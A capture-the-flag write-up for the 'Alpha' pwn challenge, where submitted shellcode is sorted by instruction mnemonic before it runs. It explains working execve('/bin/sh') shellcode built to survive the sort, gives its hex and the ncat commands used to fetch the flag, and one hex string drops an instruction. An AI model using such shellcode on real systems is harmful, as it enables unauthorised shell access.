2025 NNS CTF - Alpha
Challenge Overview
Challenge Name: Alpha
Category: Pwn/Reverse Engineering
Difficulty: Medium
In this challenge a security measure has been put in place where user-provided shellcode is sorted alphabetically by instruction mnemonic before execution. The goal is to craft shellcode that remains functional even after this alphabetical reordering.
Code Analysis
The following code snippet is given.
from capstone import *
from pwn import *
context.update(arch="amd64", os="linux")
md = Cs(CS_ARCH_X86, CS_MODE_64)
md.skipdata = True
def die(msg: str): sys.exit(warn(msg))
try:
shellcode = bytes.fromhex(input(">> "))
if not shellcode: die("Empty input")
except Exception: die("Invalid hex")
# The vulnerability: sorting instructions alphabetically!
sorted_shellcode = b"".join(bytes(i.bytes) for i in sorted(list(md.disasm(shellcode, 0)), key=lambda i: i.mnemonic or ""))
info("Shellcode before")
print(disasm(shellcode))
info("Shellcode after (●'◡'●)")
print(disasm(sorted_shellcode))
info("Running it")
with process(make_elf(sorted_shellcode, extract=False), stdin=0) as p:
p.interactive()The critical line is where the shellcode gets sorted:
sorted_shellcode = b"".join(bytes(i.bytes) for i in sorted(list(md.disasm(shellcode, 0)), key=lambda i: i.mnemonic or ""))This sorts all assembly instructions alphabetically by their mnemonic (instruction name) before execution.
Attack Strategy
Understanding Alphabetical Order
Common x86-64 mnemonics in alphabetical order:add and call cdq cmp dec inc int jmp lea mov movabs nop or pop push ret sub syscall test xor
Some important insight is that instructions with the same mnemonic maintain their relative order. This means it's possible to:
- Use the alphabetical ordering to our advantage
- Design shellcode where the "correct" execution order matches alphabetical order
Solution
To create working shellcode, I needed to craft assembly where alphabetical sorting produces valid execution flow:
Execution Order After Sorting:
lea- Load Effective Address (sets up pointers)mov- Move instructions (set syscall numbers and arguments)movabs- Move Absolute (load string constants)push- Push instructions (put data on stack)syscall- System call (execute)
Shellcode Design
lea rdi, [rsp-8] ; Point to where string will be after push
mov rax, 59 ; execve syscall number
mov rsi, 0 ; argv = NULL
mov rdx, 0 ; envp = NULL
movabs rbx, 0x68732f6e69622f ; "/bin/sh\x00" string (little endian)
push rbx ; Push string onto stack
syscall ; Execute execve("/bin/sh", NULL, NULL)Why it works
lea rdi, [rsp-8]runs first, setting uprdito point to where the string will bemovinstructions run next, setting up syscall arguments (rax=59,rsi=0,rdx=0)movabs rbx, "/bin/sh"loads the shell string intorbxpush rbxputs the string on the stack at the locationrdipoints tosyscallexecutesexecve("/bin/sh", NULL, NULL)
The shellcode converted to hex: 488d7c24f848bb2f62696e2f73680048c7c03b00000048c7c60000000048c7c200000000530f05
Exploitat
Local Testing
echo "488d7c24f848bb2f62696e2f73680048c7c03b00000048c7c200000000530f05" | python3 chall.pyRemote Exploitation
echo "488d7c24f848bb2f62696e2f73680048c7c03b00000048c7c200000000530f05" | ncat --ssl remote-site.demo 41337Result
The shellcode successfully:
- Spawns a shell (
/bin/sh) - Allows execution of commands
- Reads the flag:
NNS{sh0uld_h4ve_impl3m3nt3d_b0g0sort_inst34d_9f0fbbecfc72}